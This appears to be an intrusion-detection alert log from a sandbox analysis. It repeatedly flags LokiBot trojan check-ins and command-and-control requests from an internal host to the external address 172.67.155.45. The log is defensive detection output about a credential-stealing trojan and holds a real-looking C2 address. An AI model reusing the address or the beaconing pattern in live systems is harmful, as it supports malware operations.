08/04/21-13:56:33.401243	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.5	172.67.155.45
08/04/21-13:56:33.401243	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.5	172.67.155.45
08/04/21-13:56:33.918286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.5	172.67.155.45
08/04/21-13:56:33.918286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.5	172.67.155.45
08/04/21-13:56:33.918286	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.425625	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.425625	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.425625	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.954734	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.954734	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.5	172.67.155.45
08/04/21-13:56:34.954734	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.450942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.450942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.450942	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.954933	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.954933	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.5	172.67.155.45
08/04/21-13:56:35.954933	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.5	172.67.155.45
08/04/21-13:56:36.475713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.5	172.67.155.45
08/04/21-13:56:36.475713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.5	172.67.155.45
08/04/21-13:56:36.475713	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.055160	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.055160	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.055160	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.590625	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.590625	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.5	172.67.155.45
08/04/21-13:56:40.590625	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.094516	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.094516	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.094516	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.610623	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.610623	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.5	172.67.155.45
08/04/21-13:56:41.610623	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.119365	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.119365	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.119365	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.634719	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.634719	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.5	172.67.155.45
08/04/21-13:56:42.634719	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.156432	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.156432	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.156432	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.709605	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.709605	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.5	172.67.155.45
08/04/21-13:56:43.709605	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.220295	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49803	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.220295	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49803	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.220295	TCP	2025381	ET TROJAN LokiBot Checkin	49803	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.720384	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49804	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.720384	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49804	80	192.168.2.5	172.67.155.45
08/04/21-13:56:44.720384	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.227924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.227924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.227924	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.746233	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.746233	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.5	172.67.155.45
08/04/21-13:56:45.746233	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.235435	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.235435	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.235435	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.780678	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.780678	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.5	172.67.155.45
08/04/21-13:56:46.780678	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.351881	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.351881	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.351881	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.872031	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.872031	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.5	172.67.155.45
08/04/21-13:56:47.872031	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.413921	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.413921	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.413921	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.940231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.940231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.5	172.67.155.45
08/04/21-13:56:48.940231	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.5	172.67.155.45
08/04/21-13:56:49.538588	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.5	172.67.155.45
08/04/21-13:56:49.538588	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.5	172.67.155.45
08/04/21-13:56:49.538588	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.031990	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.031990	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.031990	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.555386	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.555386	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.5	172.67.155.45
08/04/21-13:56:50.555386	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.092840	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.092840	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.092840	TCP	2025381	ET TROJAN LokiBot Checkin	49816	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.628360	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.628360	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.5	172.67.155.45
08/04/21-13:56:51.628360	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.185091	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.185091	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.185091	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.675186	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.675186	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.5	172.67.155.45
08/04/21-13:56:52.675186	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.202526	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.202526	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.202526	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.702727	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.702727	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.5	172.67.155.45
08/04/21-13:56:53.702727	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.231933	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.231933	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.231933	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.731630	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49823	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.731630	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49823	80	192.168.2.5	172.67.155.45
08/04/21-13:56:54.731630	TCP	2025381	ET TROJAN LokiBot Checkin	49823	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.234256	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.234256	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.234256	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.721610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.721610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.5	172.67.155.45
08/04/21-13:56:55.721610	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.211427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49827	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.211427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49827	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.211427	TCP	2025381	ET TROJAN LokiBot Checkin	49827	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.727003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.727003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.5	172.67.155.45
08/04/21-13:56:56.727003	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.229521	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.229521	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.229521	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.719836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49831	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.719836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49831	80	192.168.2.5	172.67.155.45
08/04/21-13:56:57.719836	TCP	2025381	ET TROJAN LokiBot Checkin	49831	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.231895	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.231895	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.231895	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.756559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.756559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.5	172.67.155.45
08/04/21-13:56:58.756559	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.264476	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.264476	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.264476	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.807084	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.807084	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.5	172.67.155.45
08/04/21-13:56:59.807084	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.301592	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49836	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.301592	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49836	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.301592	TCP	2025381	ET TROJAN LokiBot Checkin	49836	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.804603	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.804603	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.5	172.67.155.45
08/04/21-13:57:00.804603	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.307703	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49838	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.307703	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49838	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.307703	TCP	2025381	ET TROJAN LokiBot Checkin	49838	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.827505	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.827505	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.5	172.67.155.45
08/04/21-13:57:01.827505	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.307865	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49840	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.307865	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49840	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.307865	TCP	2025381	ET TROJAN LokiBot Checkin	49840	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.803454	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.803454	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.5	172.67.155.45
08/04/21-13:57:02.803454	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.285828	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49842	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.285828	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49842	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.285828	TCP	2025381	ET TROJAN LokiBot Checkin	49842	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.816370	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49843	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.816370	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49843	80	192.168.2.5	172.67.155.45
08/04/21-13:57:03.816370	TCP	2025381	ET TROJAN LokiBot Checkin	49843	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.297467	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.297467	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.297467	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.818059	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.818059	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.5	172.67.155.45
08/04/21-13:57:04.818059	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.5	172.67.155.45
08/04/21-13:57:05.608399	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.5	172.67.155.45
08/04/21-13:57:05.608399	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.5	172.67.155.45
08/04/21-13:57:05.608399	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.5	172.67.155.45
08/04/21-13:57:06.137033	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.5	172.67.155.45
08/04/21-13:57:06.137033	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.5	172.67.155.45
08/04/21-13:57:06.137033	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.5	172.67.155.45
08/04/21-13:57:07.024965	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.5	172.67.155.45
08/04/21-13:57:07.024965	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.5	172.67.155.45
08/04/21-13:57:07.024965	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.397834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.397834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.397834	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.900466	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.900466	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.5	172.67.155.45
08/04/21-13:57:08.900466	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.400526	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.400526	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.400526	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.923924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.923924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.2.5	172.67.155.45
08/04/21-13:57:09.923924	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.415662	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.415662	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.415662	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.928805	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.928805	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.5	172.67.155.45
08/04/21-13:57:10.928805	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.435950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.435950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.435950	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.956008	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.956008	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.5	172.67.155.45
08/04/21-13:57:11.956008	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.437148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.437148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.437148	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.946621	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.946621	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.5	172.67.155.45
08/04/21-13:57:12.946621	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.477784	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49859	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.477784	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49859	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.477784	TCP	2025381	ET TROJAN LokiBot Checkin	49859	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.985964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49860	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.985964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49860	80	192.168.2.5	172.67.155.45
08/04/21-13:57:13.985964	TCP	2025381	ET TROJAN LokiBot Checkin	49860	80	192.168.2.5	172.67.155.45
08/04/21-13:57:14.538705	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49861	80	192.168.2.5	172.67.155.45
08/04/21-13:57:14.538705	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49861	80	192.168.2.5	172.67.155.45
08/04/21-13:57:14.538705	TCP	2025381	ET TROJAN LokiBot Checkin	49861	80	192.168.2.5	172.67.155.45
08/04/21-13:57:15.040726	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49862	80	192.168.2.5	172.67.155.45
08/04/21-13:57:15.040726	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.5	172.67.155.45
08/04/21-13:57:15.040726	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.2.5	172.67.155.45
08/04/21-13:57:15.532513	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49863	80	192.168.2.5	172.67.155.45
08/04/21-13:57:15.532513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49863	80	192.168.2.5	172.67.155.45
